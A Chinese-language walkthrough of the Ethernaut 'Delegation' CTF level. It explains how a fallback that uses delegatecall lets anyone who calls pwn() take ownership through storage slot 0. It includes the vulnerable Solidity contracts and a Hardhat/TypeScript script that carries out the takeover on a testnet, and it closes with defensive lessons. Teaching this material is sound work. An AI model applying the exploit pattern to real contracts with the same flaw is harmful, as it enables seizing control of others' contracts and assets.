Appearance
Ethernaut Delegation 挑战:深入理解 delegatecall 的权限移交陷阱
在智能合约的世界里,安全永远是悬在开发者头上的达摩克利斯之剑。OpenZeppelin 提供的 Ethernaut 是一个经典的 Solidity CTF(夺旗挑战),通过一系列巧妙的关卡,引导我们探索智能合约的常见漏洞。今天,我们将聚焦于其中一个非常经典的关卡——Delegation,它将带我们深入剖析 Solidity 中一个强大却也充满潜在危险的低级函数:delegatecall。
挑战目标:夺取合约控制权
这个挑战的目标非常直接:夺取你所获得的 Delegation 合约实例的拥有权 (owner)。
我们拿到手的是两个 Solidity 合约:Delegate 和 Delegation。
Delegate.sol
solidity
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
这个合约很简单。它有一个 owner 变量,在构造函数中初始化。最关键的是它包含一个 pwn() 函数,这个函数的功能是将 owner 设置为当前调用者 (msg.sender)。
Delegation.sol
solidity
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this; // 只是一个占位符,无实际作用
}
}
}
Delegation 合约看起来像是一个代理合约。它也有一个 owner 变量,并在构造函数中被设置为部署者。它还持有一个 Delegate 合约的实例。
重点来了,Delegation 合约实现了一个 fallback() 函数。这个函数会在对 Delegation 合约的调用不匹配任何已知函数签名时被触发。而在这个 fallback() 函数中,它做了一件非常重要的事情:address(delegate).delegatecall(msg.data)。
这行代码,就是本次挑战的核心所在。
delegatecall 的奥秘与陷阱
在 Solidity 中,合约之间可以通过 call、delegatecall 和 staticcall 等低级函数进行交互。其中,delegatecall 是一个非常特殊且功能强大的函数,它通常用于实现可升级合约或者链上库。
delegatecall 的核心机制是:当合约 A 使用 delegatecall 调用合约 B 的函数时,合约 B 的代码会在合约 A 的 存储上下文 (storage context) 中执行,并且 msg.sender 和 msg.value 等全局变量也保持为对合约 A 的调用者信息。
打个比方,这就像是你把你的房子的钥匙和所有权证(合约 A 的存储和状态)交给了你的朋友(合约 B 的代码)。你的朋友可以随意按照他的意愿(合约 B 的函数逻辑)来装修、改动你房子里的任何东西,但这些改动都是发生在你自己的房子里,并且所有的花费和责任(msg.sender)都算在你的头上。
这种机制带来了巨大的灵活性,但也伴随着巨大的安全风险。如果被 delegatecall 调用的合约(合约 B)是恶意的或存在漏洞的,它就可以在调用者(合约 A)的存储空间中为所欲为,包括篡改重要的状态变量,甚至窃取资产。
漏洞分析:存储槽的对齐与权限转移
现在,让我们结合 delegatecall 的原理来分析 Delegation 合约的漏洞。
Delegation的fallback(): 当我们调用Delegation合约一个不存在的函数(比如pwn()),fallback()函数会被触发。delegatecall转发:fallback()函数会执行address(delegate).delegatecall(msg.data)。这意味着,我们的原始调用数据msg.data(包含了我们想要调用的函数签名和参数)会被原封不动地转发给Delegate合约。上下文切换: 此时,
Delegate合约中的pwn()函数的代码逻辑,将会在Delegation合约的存储上下文(而非Delegate合约自身)中执行。存储槽对齐: 这是最关键的一步。让我们看看两个合约的存储变量声明顺序:
Delegate合约:address public owner;(位于存储槽 0)Delegation合约:address public owner;(位于存储槽 0)Delegate delegate;(位于存储槽 1)
惊人地巧合!两个合约的第一个存储槽都存储着一个
address public owner变量。 当Delegate合约的pwn()函数在Delegation合约的存储上下文中执行owner = msg.sender;这行代码时,它修改的实际上是Delegation合约存储槽 0 上的owner变量!
因此,只要我们能够触发 Delegation 合约的 fallback 函数,并让它 delegatecall 到 Delegate 合约的 pwn() 函数,我们就能成功地将 Delegation 合约的 owner 变量设置为我们的地址。
攻击步骤
攻击非常简单:
- 作为挑战者,直接调用
Delegation合约的pwn()函数。 - 由于
Delegation合约没有pwn()函数,其fallback()函数会被触发。 fallback()函数会将pwn()的调用请求delegatecall到其内部持有的Delegate实例。Delegate实例的pwn()函数在Delegation的存储上下文中执行,将Delegation的owner变量设置为挑战者的地址。
解决方案与验证 (TypeScript)
提供的 TypeScript 解决方案代码完美地演示了上述攻击过程:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
// ... (typechain imports, not directly used in the snippet)
describe("Delegation", function () {
describe("Delegation testnet sepolia", function () {
it("testnet sepolia Delegation owner", async function () {
const DELEGATION_ADDRESS = "0x..."; // 题目提供的Delegation合约地址
// 定义Delegate合约的ABI,用于与Delegation合约交互
const DELEGATE_ABI = ["function pwn() external", "function owner() external view returns (address)"];
const challenger = await ethers.getNamedSigner("deployer"); // 获取攻击者账户
// 注意:这里是关键!我们创建了一个指向 DELEGATION_ADDRESS 的合约实例,
// 但使用的是 DELEGATE_ABI。这意味着我们告诉 ethers,可以调用 DELEGATION_ADDRESS 上的 pwn() 函数,
// 尽管 Delegation 本身没有这个函数。
const delegateContract = new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger);
// 发起对 Delegation 合约的 pwn() 调用
const tx = await delegateContract.pwn();
await tx.wait(); // 等待交易确认
// 检查 Delegation 合约的 owner 是否已变为攻击者
const delegationOwner = await delegateContract.owner();
expect(delegationOwner).to.be.equals(challenger.address);
});
});
});
代码中的 new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger); 是精髓。它创建了一个 ethers.Contract 实例,但它指向的是 Delegation 合约的地址 (DELEGATION_ADDRESS),却使用了 Delegate 合约的 ABI (DELEGATE_ABI)。这允许我们“欺骗”以太坊客户端,让它认为 Delegation 合约拥有 pwn() 函数,从而成功触发其 fallback 机制。
经验与教训
Delegation 关卡生动地展示了 delegatecall 的双刃剑特性。它赋予了被调用合约在调用者存储空间中执行代码的巨大权限,使得在不匹配的存储布局下,或在对被委托合约的信任不足的情况下,极易发生意外的、灾难性的结果。
核心教训:
- 谨慎使用
delegatecall: 只有在完全信任被委托合约、且对其功能和存储布局有清晰理解时才使用。 - 存储槽对齐至关重要: 当使用
delegatecall实现代理模式时,代理合约和逻辑合约的存储变量声明顺序必须精确匹配,否则可能导致状态变量被意外修改。 - Fallback 函数安全: 如果
fallback函数使用了delegatecall,请确保被委托的逻辑是安全的,并且调用fallback不会带来意想不到的副作用。
通过 Delegation 关卡,我们不仅掌握了 delegatecall 的工作原理,更重要的是,深刻理解了在智能合约开发中,对低级函数和合约之间交互的细致入微的理解是多么重要。每一个函数,都可能是潜在的安全漏洞的突破口。